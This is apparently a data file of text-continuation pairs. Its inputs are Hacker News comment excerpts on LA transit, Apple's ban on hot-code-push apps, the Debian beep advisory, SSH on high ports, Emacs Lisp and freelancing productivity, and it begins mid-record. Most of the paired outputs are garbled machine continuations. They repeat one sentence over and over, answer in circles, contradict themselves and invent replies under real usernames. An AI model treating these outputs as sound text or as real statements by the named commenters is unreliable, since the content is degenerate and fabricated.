significant\nrevitalization of the river without turning the Piggyback Yard into a park\nthat can provide flood control. Furthermore, the US Army corps of engineers\ncontrols the LA river, so the voters have no say in what happens here.\n\nThe metro extensions have been planned for decades, and there never seems to\nbe much movement. Recently the blue line has been creeping steadily towards\nSanta Monica but I doubt this will have much of an impact on city life even if\nit does connect downtown LA to the westside beach communities. I used to\nencourage everyone to try taking the train, and I used to do it myself all the\ntime, but I haven't hopped on the train at all in the last 12 months. The\nstations are too spread out, the paths of all the lines make little sense, the\ntrains only come every 15-20 minutes, and a huge chunk of the city is totally\ncut off from the transit lines. As much as I don't like uber/lyft, they've\nmade it much more enjoyable to live in LA.\n\nCiclavia is cool, but its just 1 day out of the year. LA is the worst city in\nthe country to ride a bike. They claim to have more bike lines than any other\ncity, but that's only on paper. Just because you paint a person riding a bike\nnext to the gutter of a 2 lane street doesn't make it a bike lane"} +{"output_text": "terms)\n\n------\njoshu\nI wonder if they'll be able to get away with this.\n\n------\njoshu\nI wonder if they'll be able to get away with this.\n\n------\njoshu\nI wonder if they'll be able to get away with this.\n\n------\njoshu\nI wonder if they'll be able to get away with this.\n\n------\njoshu\nI wonder if they'll be", "input_text": ",\nbut... yeah.\n\n~~~\ndangrossman\n> No one freaked out over /r/pics,\n\n/r/pics is just a collection of links to images; it does not reproduce or\nredistribute the images.\n\n~~~\najross\nRight, but that's the same sort of legalese excuse-making (or alternatively:\njust substitute imgur, which hosts most of that content).\n\nIt has nothing to do with whether or not /r/pics constitutes fair use, just\nif-it-isn't-fair-use-who-gets-sued? No one, at the time or now, seriously\nthought that there was a legal problem for anyone with reddit. So why\npinterest? Again, part of me is really suspicious that it's because it's a\nchick site that doesn't cater to geeks.\n\n------\nvillagefool\nFunny thing is that Pinterest in their terms of service are asking people to\nfollow rules they are breaking for other services...\n\n------\ntreelovinhippie\nI was under the assumption that all social-based sites/companies follow the\nsame policy, not so they can resell user content, but so they can eventually\ngo through an acquisition without facing a class action lawsuit from its users\nwho would demand a % of the sale. e.g. Geocities.\n\n------\nJBiserkov\n\n\nI prefer the old ones though\n[http://web.archive.org/web/20110619022738/http://500px.com/t...](http://web.archive.org/web/20110619022738/http://500px.com/"} +{"output_text": " behavior of the app.\n\nWe are also reaching out to our customers to see if they have any further\nquestions.\n\n~~~\ndylan604\nI'm curious, what is the difference between a \"hot code push\" and a \"hot\npatch\"?\n\n~~~\nadjunct\nHot code push is a mechanism by which you can push code to a live app.\n\nHot patch is a mechanism by which you can patch a live app.\n\n~~~\nd", "input_text": " a\nbandwidth limit, interconnecting with the entire mind. We aren't Von Neumann\narchitectured.\n\nPS: there's an argument that we might not be able to grasp intelligence\nitself, if its and its components' irreducible complexity is greater than any\nperson's working memory - even if we formalize a correct model, we mightn't\ngrasp it ourselves. Thus, IA may be essential for AI. Or, AI is essential for\nAI.\n\n \nApple starts rejecting apps with \u201chot code push\u201d features - dylanpyle\nhttps://forums.developer.apple.com/thread/73640\n======\nadjunct\nI'm Erez Rusovsky, the CEO of Rollout.io\n\nRollout's mission has always been, and will always be about helping developers\ncreate and deploy mobile apps quickly and safely. Our current product has been\na life saver for hundreds of apps by allowing them to patch bugs in live apps.\n\nWe were surprised by Apple's actions today. From what we've been able to\ngather, they seem to be rejecting any app which utilizes a mechanism of live\npatching, not just apps using Rollout.\n\nRollout has always been compliant with Apple's guidelines as we've detailed in\nthe past here: [https://rollout.io/blog/updating-apps-without-app-\nstore/](https://rollout.io/blog/updating-apps-without-app-store/)\n\nOur SDK is installed in hundreds of live apps and our customers have fixed\nthousands of live bugs in their apps.\n\nWe are contacting Apple in order to get further clarification on why Rollout\ndoesn't fall under the clause that lets developers push JS to live apps as\nlong as it does not modify the original features and"} +{"output_text": "\nCountSessine\nI'm not sure what you're trying to say. The SII has a pentile screen, and\nTouchwiz is a skin.\n\n~~~\nmrich\nI'm not saying that the SII is better than the iPhone, I'm saying that the\nSII is a great device, and the iPhone is not.\n\n~~~\nCountSessine\nI'm not sure what you're trying to say. The SII has a", "input_text": " the Messages app?) but the raw power of the\nthing more than makes up for these shortcomings. For me.\n\nMy long-winded point is this: beauty is in the eye of the beholder. We cannot\nproperly rate these devices outside the context of the person using it. If you\nagree with the criteria put forth as superior in any particular review, it\ncould very well be the device you're looking for.\n\n------\nblub\nThe Verge has rated the phone 8.6/10, not 10/10 as this article claims.\n\n~~~\nalexholehouse\nThe link is also broken...\n\n~~~\nmrsebastian\nThanks - fixing.\n\n------\nmrich\nThe Samsung Galaxy SII has been the inflection point for me. Such a great\ndevice, beats the iPhone in hardware and matches it in software (except in\npolish of some apps).\n\n~~~\nCountSessine\nHuh? Slower GPU, lower resolution screen, Pentile... that's better hardware?\nAnd Touchwiz? Really?\n\n~~~\nmrich\nSII does not have pentile. The screen is bigger and much brighter than the\niPhone's, which is more useful to me than 300+ppi (which was only done for\ntechnical reasons anyway, to get backwards compatibility with the old apps due\nto the 2x factor) The phone is snappy no matter what you do (it's quite\namazing to see 10+ app updates download and install in parallel, and complete\nin 30 seconds). GPU, I don't care about (not much of a gamer), Touchwiz I\ndon't like either (I use the MIUI ROM). I agree for people without any tech\nexpertise iPhone is still the best choice.\n\n~~~"} +{"output_text": "\nproper support for signals, so you can't even use the \"kill -SIGUSR1\" trick\nto get a clean exit.\n\n~~~\nmadez\n> I'll be quicker to blame the signal API than the programming language on\n> that front.\n\nI don't think so. The programming language is the one that defines the\nbehavior of the program. The API is the one that defines the behavior of the\nprogram.\n\n> For instance I believe", "input_text": ", but is coded as a \"free speech\" issue. Similar to how many churches\ncoded marriage equality as trampling on their freedom of religion.\n\nJust to remind everyone how free speech works: You are free to say whatever\nyou want. I am free to choose to speak out against you or even pull my support\nfrom you if I disagree with what you say. My freedom extends to let me voice\nmy opposition to you just as loudly as you voice your opinions. That is not\ncensorship.\n\n~~~\nnerfhammer\nI don't think Jonathan Haidt is an astroturfer.\n\n \nBeep security update - DyslexicAtheist\nhttps://www.debian.org/security/2018/dsa-4163\n======\ngarethrees\nThe author of beep needs to read the POSIX specification on async-signal-\nsafety [1]. In particular, it is not safe to call exit, free, ioctl, putchar,\nor perror from a signal handler.\n\n[1]\n[http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2...](http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2_chap02.html)\n\n~~~\nmadez\n> In particular, it is not safe to call exit, free, ioctl, putchar, or perror\n> from a signal handler.\n\nWhy is it accepted by the compiler, then?\n\n~~~\nsimias\nI'll be quicker to blame the signal API than the programming language on that\nfront. Dealing with unix signals correctly and robustly is far from trivial\nand rife with footguns. For instance I believe that Rust still doesn't have"} +{"output_text": "s \u201cThe Future of Web Apps\u201d - johngruber.com\nhttp://daringfireball.net/linked/2012/07/26/future-web-apps\n======\njamesjyu\nI'm not sure if this is a good idea.\n\nI think the future of web apps is in the browser.\n\nI think the future of web apps is in the browser.\n\nI think the future of web apps is in the browser.\n", "input_text": " ssh is to be able to log into one's machine from elsewhere\non the wide internet. I find it's precisely when I'm somewhere public (i.e.\ncoffee shop or public transport wifi) that I want access to my home machine -\non my work machine (i.e. in the office) anything I need is already there. If\nyou don't need it to be publicly accessible, why would you be running sshd at\nall?\n\n~~~\ntquai\nBefore I can respond to that, I think there's a misunderstanding about what\n\"public service\" means. HTTP is a public service: you open it up to the world,\nand want anyone to be able to connect to it. It is intended and hoped that as\nmany people use it as possible. If your website is slashdotted, then that's\nGREAT! In contrast, I don't want 100000 people to try logging in over SSH to\nmy private server. To put it another way, SSH is only a public service in the\ncases of:\n\n \n \n * CVS over SSH\n * rsync over SSH\n * Commercial SSH tunnels\n \n\nLogging into my authoritative nameserver over SSH, however, is not a public\nservice. And since it's not a public service -- that is, intended for the\npublic -- I don't treat it like one.\n\n~~~\nlmm\nIf you're trying to tell the rest of us something you're going to have to be\nmore concrete. So you \"don't treat it like a public service\". Great. What does\nthat actually mean? (\"I don't make it accessible on a public port from the\npublic internet\" was the most obvious technical interpretation, but it sounds\nlike you didn't mean that)\n\n \nJohn Gruber\u2019"} +{"output_text": "\nwill be.\n\n~~~\nmattmanser\nI'm not sure I'd call it easy.\n\nI've been working in tech for a few years now and I've found it's a lot more\ndifficult than I thought it would be.\n\nI've been working in a small team of 3 developers and we've been working on a\nnew project for a few months now. We've been working on it for a few weeks\nnow, and it's been", "input_text": " of 3s.\n\nYou want to go from this:\n\n\\- I should really write [some great app idea]\n\nTo this:\n\n\\- I'll make a list of technologies that I want to use\n\n\\- I'll read the docs, like a book, for the ones that are new\n\n\\- I'll write a single api endpoint\n\n\\- I'll flesh out the api for the rest of a feature\n\n\\- I'll MVP a UI for that one feature, without any concern for design\n\n\\- etc.\n\nIn my case, a combination of the size of and amount of ambiguity in a task is\ninversely proportional to the ability I have to both get it underway and get\nit finished.\n\n~~~\ntlrobinson\nI've been wondering, is there a todo / task tracking app that can somehow\naggregate tasks across multiple applications?\n\nCurrently my tasks are spread across emails and email drafts, Github issues,\niOS reminders, Slack, my head, etc. It's a lot of work to keep track of them\nall.\n\nMaybe I should just carry around a paper notebook and make that the\nauthoritative source of tasks.\n\n~~~\nbeejiu\nSounds like you need a process, rather than a tool. Personally, I jot down\neverything that gets mentioned to me on paper and, within 1-2 days, it will\nend up in the project management system (if it is something to be worked on).\nOnce it's there, I strike it through in my notepad. So basically, 99% of my\nnotepad is a scribble - only 1% that I need to think about remains un-struck.\n\n------\nscotty79\nGet hired in some software corporation. You'll be amazed how easy the work"} +{"output_text": "ide.\n\nShe would not be able to get $100 worth of Tide for $5.\n\nShe would not be able to get $100 worth of Tide for $5 and then sell it back\nto the store for $5.\n\nShe would not be able to get $100 worth of Tide for $5 and then sell it back\nto the store for $5 and then sell it back to the store for $5.\n\nShe would not be", "input_text": " the money trail for selling drugs, after all who thinks this looks\nlike a drug buy:\n\n \n \n Alice goes to grocery gets laundry detergent;\n Bob sells stolen detergent to a grocery for cash.\n \n\nNo way to connect Bob and Alice until you add:\n\n \n \n Alice goes to grocery gets laundry detergent;\n Alice gives Detergent to Bob for drugs.\n Bob sells stolen detergent to a grocery for cash.\n \n\nNow you can connect them and see the drug deal. Hard to get a warrant to\nsearch Bob's car for laundry detergent.\n\n~~~\nsamstave\nI have no idea how to reconcile this scenario.\n\nCan you explain it in more detail?\n\nIf alice is buying $100 worth of Tide, how much $drugs does she get for her\n$Tide?\n\nHow much $cash does Bob get for his $Tide when he sells it back to the store?\n\nHow much $Profit does the store get from the $Tide bought from Bob?\n\n~~~\nDanBC\nAlice steals $100 worth of Tide.\n\nAlice doesn't care how much drugs she gets for that, because shop lifting is\neasier than prostitution and has lighter sentencing than robbing houses.\n\nBob sells his bottles for $5 each. That means the store can either sell at a\nbig discount for friends, or can make more profit. The margins are not good on\nTide.\n\nThis is in the article on page 3.\n\n~~~\nsamstave\n> _Alice doesn't care how much drugs she gets for that_\n\nI think your explanation is wrong.\n\nAlice would _certainly_ care how much she got for $T"} +{"output_text": ", the companies will stop doing it.\n\n~~~\nforensic\nI'm not going to vote with my wallet. I'm not going to buy products produced\nusing awful methods.\n\nI'm not going to vote with my wallet because I don't want to be complicit in\nthe exploitation of people.\n\nI'm not going to vote with my wallet because I don't want to be complicit in\nthe exploitation of people.\n\nI'm not going to vote", "input_text": "/thomas_thwaites_how_i_built_a_toaster_from_scratch.html)\n\n~~~\nnaner\n_As bad as a 3rd world outsourced job is to us 1st worlder's it's still\ngenerally BETTER than what they would have otherwise. In fact Apple and other\n'outsourcers' are the one and only reason for the breath-taking trend line\nthat is China's per capita growth_\n\nThis always seemed like a bullshit argument to me. So it is marginally better\nto work 16 hour days in terrible conditions while dumping chemicals in local\ngroundwater than it is to starve to death. Well, it turns out that overworking\npeople and polluting is still bad behaviour. These outsourcing companies\nshouldn't be commended for it. Provide these people good working conditions\nand a safe environment or don't bother outsourcing.\n\nAs an analogy, you wouldn't commend me for purchasing a mail-order bride from\na poor country with sex trafficking problems. Yeah, it is marginally better\nfor her than prostitution and she'll have better living conditions, but my\nbehavior is still abusive and exploitative.\n\n~~~\nforensic\nWe can't save the world. Even if our entire country voted for it, we could not\nsave the Chinese from their own policies.\n\nThey are adults living in a sovereign nation; they are responsible for their\nown working conditions.\n\nI'm not going to feel white-guilt for stuff that happens in a foreign country\nover which I have zero control.\n\n~~~\nm_eiman\n_Even if our entire country voted for it, we could not save the Chinese from\ntheir own policies._\n\nVote with your wallet. If nobody will buy products produced using awful\nmethods"} +{"output_text": "ist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for the customer.\n\n\\- Hold a review for the customer. Insist on a review for", "input_text": " people purely for their outputs; not as individuals with lives,\ncareer goals, interests, strengths, weaknesses.\n\n3\\. Insisting on process but not participating. E.g. scrums with no management\npresent.\n\n~~~\nravenstine\nIt depends on how you define management.\n\nPMs should probably be present during sprint planning for Scrum, but any level\nof management above PM really shouldn't be there.\n\nI worked at this one place where, as much as I dislike Scrum, we had a pretty\ngood pace going without upper management ever getting involved. Then the\nmanager of our department(not an engineering manager) decided to show up to\nall our meetings because, shit, why not, and it completely cramped our style.\nThey also began to dictate that we do things in a specific way even though our\nproductivity was fine before. Fortunately, like most non-engineers, they lost\ninterest after a month and almost never showed up again.\n\nGranted, I have found at most of my jobs that management is absent when it\nusually counts. At one place we had a \"demo day\" as part of our Scrum process,\nbut relevant parties in management almost never showed up. They would even\nclaim they would show up but always came up with an excuse at the last minute.\nIt wrecked everyone's confidence in them because a manager can't claim to say\nthings like \"product is key\" and then fail to show up to product demos every\nsingle time. Yet demo was something our management wanted us to have.\n\n~~~\nIdidntdothis\nYour last paragraph is important. At a minimum management needs to understand\nscrum and play their part.\n\n------\nGlenTheMachine\n\\- Hold a review for the customer. Ins"} +{"output_text": " welcome?\n\n~~~\nianstormtaylor\nYes, it does!\n\n------\njoshstrange\nI'm not sure if I'm missing something but I don't see a way to add a new\ncolor. I'm on OSX and I can't find a way to add a new color.\n\n~~~\nianstormtaylor\nYou can add a new color by clicking the \"Add a new color\" button on the right\nhand side.\n\n", "input_text": " it'll \"just work\"? I like\nthe vendor prefix feature (although there's a 'LESS Prefixer' project too).\n\n~~~\npeferron\nIs there anything wrong with LESS + Autoprefixer? I'm using Sass +\nAutoprefixer on a project currently and it works just fine.\n\n~~~\nnawitus\nYes, I didn't know about it :). I'll probably go with autoprefixer, but with\nMyth I could also use some of the other features and perhaps aim for a slow\ntransition from LESS to CSS over the coming years.\n\n~~~\nianstormtaylor\nTotally, that's the idea :) \u2014 and yeah you should absolutely be able to post-\nprocess LESS output and have everything work fine.\n\n------\nphilliphaydon\nWhy do front-end developers not test their website cross-browser and platform?\n\nThe font chosen doesn't render properly on Windows with Opera or Chrome.\n\n~~~\nwinterswift\nCan confirm, the text renders miserably on Chrome in Windows 8. Somewhat\nironic considering the product being advertised.\n\nFor anyone wondering, here's what it looks like:\n[http://imgur.com/XbZJpC6.png](http://imgur.com/XbZJpC6.png)\n\n------\noneeyedpigeon\nInteresting. Shouldn't the 2nd \"a\" in the right column under \"Color\nManipulation\" be an \"a:hover\"?\n\n~~~\nianstormtaylor\nWhy yes, yes it should :) fixing now.\n\n------\nhabosa\nSIde note but I have never seen \"Star on GitHub\" before... does that mean\ncontributions are"} +{"output_text": " one of them would be idle.)\n\n~~~\nmistercow\n>It occurred to me that if you want to multiply the number of necessary guesses\nby running sshd on an alternate port, you'd need to run multiple sshds.\n\nThat's not the only way to do it. You could also run multiple sshd processes\non the same port, and have them all listen on different ports.\n\n------\njlgreco\nI think the author", "input_text": " the electric engine concept has yet to provide a real benefit\nover combustion. (They say less solution but that's not really true is it?)\n\nAnother concept looking for a problem is crypto; as the only problems crypto\nreally solves are the ones faced when doing illegal transactions or hiding\nmoney.\n\n~~~\nmatthewmacleod\n_They make nice cars but the electric engine concept has yet to provide a real\nbenefit over combustion._\n\nThat comment has absolutely no merit whatsoever.\n\n \n\nThere's No Protection In High Ports - CrazedGeek\nhttp://bsdly.blogspot.ca/2013/02/theres-no-protection-in-high-ports.html\n\n======\nmistercow\n>obscuring your login service via non-standard ports or even a requirement to\ntry several ports in sequence really only buys you security equivalent to\nlengthening your password by two characters per port.\n\nNot even that. It's like a _separate_ two-byte password because you get to\nguess and confirm the port separately from the password.\n\nLengthening your password by N bits _multiplies_ the number of necessary\nguesses by 2^N. Having a _separate_ N bit password _adds_ 2^N to the number of\nof necessary guesses. So if your real password's effective key length is more\nthan 16 bits, using a random port effectively adds less than 1 bit of entropy.\n\nAlso, rate-limiting port scans is way harder to do than rate-limiting\nauthentication.\n\n~~~\ncpressey\nIt occurred to me that if you want to multiply the number of necessary guesses\nby running sshd on an alternate port, you'd need to run multiple sshds. (Of\ncourse all but"} +{"output_text": ".\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but I\u2019m not seeing any mention of\nWayland in the article.\n\nI\u2019m not sure if I\u2019m missing something, but I\u2019m not seeing any mention of\nWayland in the article.\n\n~~~\nEldandan\nI'm not sure if I'm missing something, but I'm not seeing any mention of\nWayland in the article", "input_text": " significantly different dpi, Windows runs rings\naround anything on Linux. Windows is surely buggy - I have serious problems\nwith its multi-monitor support - but it seems that its multi hi dpi only\noccasionally crashes Firefox and it's otherwise reasonable.\n\nWith Xorg, there's no effective support for different dpi. So if you can\ntolerate the variation in pixel size then it's tolerable, but if they're too\nmuch it all breaks. Moreover, many apps completely ignore the dpi. For\ninstance, Spotify which is is almost unreadably low contrast doubles down and\nit's unreadably small too.\n\nWith Wayland, it's unusable since any seriously productive app will be shown\nat at least quadruple size the moment you require pixel doubling, X apps will\nbe pixel doubled twice and Wayland native apps all seem to be toys. This seems\nto have been a bug that was first report years ago so I suppose they're\nwaiting until someone rights a Wayland version of Firefox and Jetbrains and so\nforth.\n\nFortunately, this motivated me to by a 4k screen which I'm happy with. It's\nonly tolerably different than my hidpi laptop screen so I don't need to worry\nabout X's mono-dpi-ism. But it's still incredibly frustrating.\n\n------\npachico\nDefinitely the best flavour. You guys help me resuscitate tons of old laptops\nfor frustrated ex Windows users, which are very happy with now with their new\nOS. Great work!\n\n~~~\nEldandan\nHere, here! I love Xubuntu. Of all the lighter flavors like Kubuntu, Lubuntu,\nMint/xfce, Xubuntu has been the one I had the best experience setting up for\nothers on"} +{"output_text": " at it, and some people are not. I'm not sure if you're one of the former\nor the latter, but I'm willing to bet that you're not.\n\nI'm not sure what your \"success\" looks like to you, but I will say that\nworking in an unstructured environment (which is what you normally do when\nfreelancing) is super hard. I'm willing to bet that if you were to get a 9-5\njob you'd", "input_text": "://focuslist.co/](http://focuslist.co/) to set my agenda for the day\nearly on, then work through the list.\n\n4\\. Read \u201cDeep Work\u201d and \u201cSo Good They Can't Ignore You\u201d by Cal Newport.\n\n5\\. Reduce social media. I dropped Facebook and removed all twitter apps from\nmy phone. This is a good guide: [http://humanetech.com/take-\ncontrol/](http://humanetech.com/take-control/)\n\n6\\. Exercise for 20 minutes every morning. I bought a speed rope from\n[http://rpmtraining.com/](http://rpmtraining.com/) and now skip every morning\nwhile listening to podcasts / audiobooks.\n\n7\\. Consider getting a full-time job, or a contract with one company for 20-30\nhours a week. Having co-workers to compare yourself with and managers to be\nanswerable to is a natural motivator.\n\n~~~\ninglor\n> 1\\. Do the \u201cProductivity\u201d sessions in the Headspace app.\n\nIf you haven't done so already - do the \"Motivation\" pack too - it literally\nteaches you how to summon motivation which is phenomenal.\n\n------\nmikekchar\nI don't know exactly what your \"success\" or \"failure\" looks like to you, but I\nwill say that working in an unstructured environment (which is what you\nnormally do when freelancing) is super hard. I'm willing to bet that if you\nwere to get a 9-5 job you'd discover that you're actually outperforming most\nother people -- because the 8 years of experience you have pushing yourself.\n\nBeing \"self-driven\" is both a talent and a skill. Some people are naturally\ngood"} +{"output_text": "wikipedia.org/wiki/PFM-1)\n\n~~~\nkuschku\n> The author probably reworded the above.\n\nNo, he didn\u2019t.\n\nThe Russian version is a direct ripoff of the American version.\n\n~~~\nwoodruffw\nI stand corrected.\n\n------\nkuschku\nThe article is a bit misleading, as the Russian version is a direct ripoff of\nthe American version.\n\nThe", "input_text": " Russian-made PFM-1 land mines\u2014the most common\n> butterfly type, possibly inspired by similar U.S. weapons deployed during\n> the Vietnam War\"_\n\nPossibly? Why is this article softballing? The Russian version of the mine is\na DIRECT ripoff of the American version. They look EXACTLY the same.\n\nHere is a BLU-43, the American version: [http://www.big-\nordnance.com/subs/BLU43OD.jpg](http://www.big-ordnance.com/subs/BLU43OD.jpg)\n\nHere is a PFM-1, the Russian version:\n[https://en.wikipedia.org/wiki/PFM-1#/media/File:Russische_Sc...](https://en.wikipedia.org/wiki/PFM-1#/media/File:Russische_Schmetterlingsmine_PFM-1.jpg)\n\nIt's the same damn mine! There is no \"possibly\" about this. The author didn't\nlie but he's damn sure being dishonest. The article never even mentions the\nBLU-43 by name, which would allow more readers to look it up and decide for\nthemselves.\n\n~~~\nwoodruffw\nLazy research, not dishonesty, is the far more likely explanation here. From\nWikipedia[1]:\n\n> a land mine of Soviet production, very similar to the BLU-43 US Army\n> landmine. Both devices are very similar in shape and principles, although\n> they use different explosives.\n\nThe author probably reworded the above.\n\n[1]:\n[https://en.wikipedia.org/wiki/PFM-1](https://en."} +{"output_text": " and added a lot of features from other\nlanguages.\n\nScheme is a language that is very close to Lisp. It is a Lisp dialect that\nadded a lot of features from other languages.\n\n~~~\nriffraff\nthanks, I was wondering if there was a reason for the \"Scheme\" in the name.\n\n~~~\nlispm\nCommon Lisp is a Lisp dialect. Scheme is a language that is very close to Lisp\nand", "input_text": " (I'd personally prefer Common Lisp, but whatevs).\n\n------\nburtonator\nI spent about 2 years of my life in my 20s hacking on elisp constantly. I was\ninfatuated with it.\n\nThen I spent about 5-10 years using that platform as my IDE.\n\nGuess what... Last year I migrated to IntelliJ IDEA and won't EVER migrate\nback. It's kind of sad... but IDEA is insanely awesome by comparison.\n\n~~~\nTeMPOraL\nBlasphemy!\n\nOn a more serious note, could you elaborate a bit on how IDEA is \"insanely\nawesome\" compared to Emacs? What do you find more useful/enjoyable in the\nIntelliJ IDE?\n\n------\nsystems\nwho is Stefan Monnier? and why should we care about what he thinks?\n\nis he the main emacs maintainer? in other words, how seriously should we\nconsider this email?\n\n~~~\ntjr\n[http://lists.gnu.org/archive/html/emacs-\ndevel/2008-02/msg021...](http://lists.gnu.org/archive/html/emacs-\ndevel/2008-02/msg02140.html)\n\n------\nriffraff\ncan someone more knowledgeable than me explain how is elisp closer to CL than\nto Scheme?\n\n~~~\nlispm\nBoth Emacs Lisp and Common Lisp are coming from MIT's Maclisp dialect. There\nwere Emacs variants written in Maclisp or its dialects before GNU Emacs\nexisted. Emacs Lisp was a very simplified Maclisp. Common Lisp modernized\nMaclisp (especially lexical binding),"} +{"output_text": " talking about.\n\n~~~\nmsvalkon\nI'm not sure what you mean. I'm not talking about suing California, I'm\ntalking about suing the state of California.\n\n~~~\nRobertoG\nI'm not sure what you are talking about.\n\nYou should be allowed, as a corporation, to sue the state of California... in\nCalifornia.\n\n~~~\nmsvalkon\nI'm not sure what you are talking about.\n", "input_text": " time now.\n\n------\njokoon\nI hate to say this, and I don't think it's justified, but that's the kind of\nstuff al-qaeda would fight against.\n\nSomeday having anti-american opinions might equate with being a terrorist.\n\n~~~\nandy_ppp\nSomeday! Funny that you should say this but David Cameron wants us to never be\nleft alone by the state and anti terror laws are regularly used against people\nwho are not terrorists. The police are being militarised and the human rights\nact is being removed from law here in the UK. Someday looks like tomorrow to\nme.\n\n------\nkokey\nOpening up trade is bad by default... to those that benefit from the barriers\nthat are in place. I am always suspicious of a lot of emotive campaigning in\nresponse to trade agreements that opens up trade.\n\n~~~\nmsvalkon\nDid you by chance read the article? This has little to do with opening up\ntrade and much to do with providing ridiculous amount of power to any major\ncorporation.\n\nEDIT:\n\nSuppose I'm a producer of bottled water from Germany. I bottle a lot of water\nin California. The Californians vote to move to heavy water rationing and\nregulation due to the threat of continuous draught. This hurts my business, so\nshould I be allowed, as a corporation, to sue the state of California, have\nany possible trials and hearings within a closed courtroom and possibly\noverrule the vote?\n\n~~~\nRobertoG\nAgree, the motivation of all this is, at least, worrisome.\n\nYou should be allowed, as a corporation, to sue the state of California... in\nCalifornia. But this is not what we are"} +{"output_text": "\nyou can just turn the device off.\n\n~~~\nforcer\nI don't want to use my phone during the night. I want to use my phone to\ncollect data and wake up at a predetermined time.\n\n~~~\nspydertennis\nYou can do that with the app.\n\n------\njoshu\nI'm curious about the battery life.\n\n~~~\nspydertennis\nThe battery life is pretty good. We've been", "input_text": " FCC ID is only good in the\nUSA. In Europe, you need a CE mark. Australia sometimes insists on yet another\nregistration for 2.4GHz equipment.\n\nHonestly, international RF regulatory certification is a mess, and the piles\nof paperwork involved make it easy to miss deadlines.\n\n~~~\nspydertennis\nSpot on.\n\n~~~\nbrandon\nIf you guys haven't already got a relationship with T\u00dcV, you might consider\ntalking to them about certifying your next revision. They handled all our\nregulatory (domestic and int'l) with a lot less difficulty (and deadline\nslipping) than doing it in-house.\n\n------\ninvisible\nYou should really have an \"allow my data to be used for anonymous scientific\nstudy\" option. It'd be really neat to see graphs of male vs female, young vs\nold, etc. similar to 23andme. I guess this is coming in the future with the\n\"paid\" wakelytics features?\n\n------\nmgrouchy\nCongrats to The Wakemate team for finally shipping! The device is pretty\nawesome,(I've been using during the beta) can't wait to see what these guys\nhave in store next.\n\n------\nforcer\nDoes the iPhone app needs to be running through the night for this device to\nwork? that's what I hated about Sleep Cycle and would not want to use it if it\nhas the same flaw.\n\n~~~\nspydertennis\nWhy do you hate that? You wouldn't be using your phone during the night\nanyway?\n\nIf you want the optimal wake feature to work you need to leave the app\nrunning. If you just want to collect data and wake up at a predetermined time"} +{"output_text": " are plenty of resources online.\n\n------\njoshu\nI'm not a doctor, but I've been there.\n\nI think you need to get a handle on your time. I'm not sure what you do, but\nI'm guessing it's not a lot of fun.\n\nI'm not sure what you do, but I'm guessing it's not a lot of fun.\n\nI'm not sure what you do, but I'm guessing it's not", "input_text": "\nday. If I say, \"I'll go work out\" or \"I'll skip studying X this morning and do\nit tonight\" it will never happen. So, maybe looking at your most productive\ntimes of the day to see if you can put some more structure around getting\nthings going.\n\nBest of luck\n\n1 -\n[http://tokyocounseling.com/english/counselor/](http://tokyocounseling.com/english/counselor/)\n\n------\nan_throwaway\nSee if you need to get treated for ADHD. I was in a similar situation as you,\nand actually reaching out to a psychiatrist helped me immensely.\n\nYears later I have a solid business, a work routine and can actually focus on\nholding projects and things without having allergic reactions to run after the\nnext squirrel - and without abandoning something I have a sudden averse\nreaction to.\n\n~~~\nan_throwaway\nI want to just iterate that it's been far easier to treat this than I imagined\nin the first place. I've been struggling with getting this kind of help for a\nfew years, knowing that I cannot fully concentrate - and doing far too much\nonline research instead of just moving my ass ( which is a common issue ).\n\nThe Psychiatrist at first thought it was due to a \"lack of discipline\" until I\nexplained to him that I locked myself in for 2-3 months to work on my own\nprojects, just to clean up the whole house and do everything else, instead of\nthe projects I wanted/needed to work on.\n\nThe only thing you need to research is which medicine you can be prescribed,\nas some of them are not allowed in Japan. But enough foreigners went through\nthis process, so there"} +{"output_text": " guns are actually more dangerous than\nblunt-force trauma.\n\n~~~\njessaustin\nI'm not sure that's true. I've seen a number of people who were tasered and\nthen shot, and they were all dead.\n\n~~~\nmattdeboard\nI'm not sure that's true either. I've seen a number of people who were shot\nand then tasered, and they were all dead.\n\n~~~\njessa", "input_text": " somehow inherit blame from hundreds of\nyears ago when that guilt is used in an attempt to rationalize current\noppression.)\n\n \nThorShield Energy Weapon Protection Fabric - rolph\nhttp://www.thorshield.com/\n======\nnoodlesUK\nTwo things: I\u2019m sure current body armour is resistant to tasers, as the prongs\nneed to hit you in order to work, and if your armour is stopping a knife or a\nbullet, two measly little pins aren\u2019t gonna make it.\n\nIf you want a cheap and trivially accessible alternative to this, a fencing\nLame will fit the bill perfectly. It\u2019s a metal conductor in the shape of a\nvest or jacket. Whilst I haven\u2019t ever been tazed wearing one, I imagine it\nwould handle it just fine.\n\n~~~\nsteve19\nI have fired non-consumer Tasers a number of times (at targets, not a living\nthings). The thin needles of a Taser are more likely to pentrate armor than a\nlage knife. And a knife is more likely than a bullet. Bulletproof vests are\nnot necessarily knife proof, they capture bullets by binding them and\ndissipating energy rather than stopping them dead (that is what ballistic\nplates/inserts are for)\n\nThat said needle proof vets are common and used by law enforcement.\n\n------\nfloatingatoll\nIronically, their website shows \u201cNot Secure\u201d in my browsers when visited, and\nrightly so: insecure HTTP, insecure session cookies, insecure offsite JS. I\nhope they can be convinced to improve their electronic weapon defenses to the\nsame level as their energy weapon defenses.\n\n------\nmattdeboard\nI wonder if taser and other stun"} +{"output_text": " and no time to implement them.\nI'm not sure if it's just me, but I've been having this problem for a while now.\nI'm not sure if it's just me, but I've been having this problem for a while now.\n======\njasonkester\nI've been there. I've been there for a long time.\n\nI've been there for a long time, and I've been there for a long time, and I've\n", "input_text": " be inflationary. It don't make any rational sense\nthat a government could just purchase trillions of dollars worth of it's own\ndebt with synthetic money and not have some inflationary impact (your initial\nfear). So what then? How is that massive force just being absorbed with no\nconsequence? I don't know, I don't think anyone knows. I could speculate. It's\nlikely that in a global economy China's artificially devalued currency allows\nus to print money without real inflationary consequences for us? Could be the\ndollar has become the de facto world currency and with this much wider\ncirculation the system can absorb much more inflationary pressure than\npreviously thought. Could be that this system is controlled more by behavioral\neconomics than economics. Maybe people just believe a dollar is worth about X\nand that's very sticky until it isn't. This last idea is the scariest. Our\ngovernment is just like a big bank. The value of the dollar is subjective and\nI believe serious inflation won't come in an incremental fashion, it will come\nin a black swan tidal wave. I could be wrong and I seriously hope I am!! 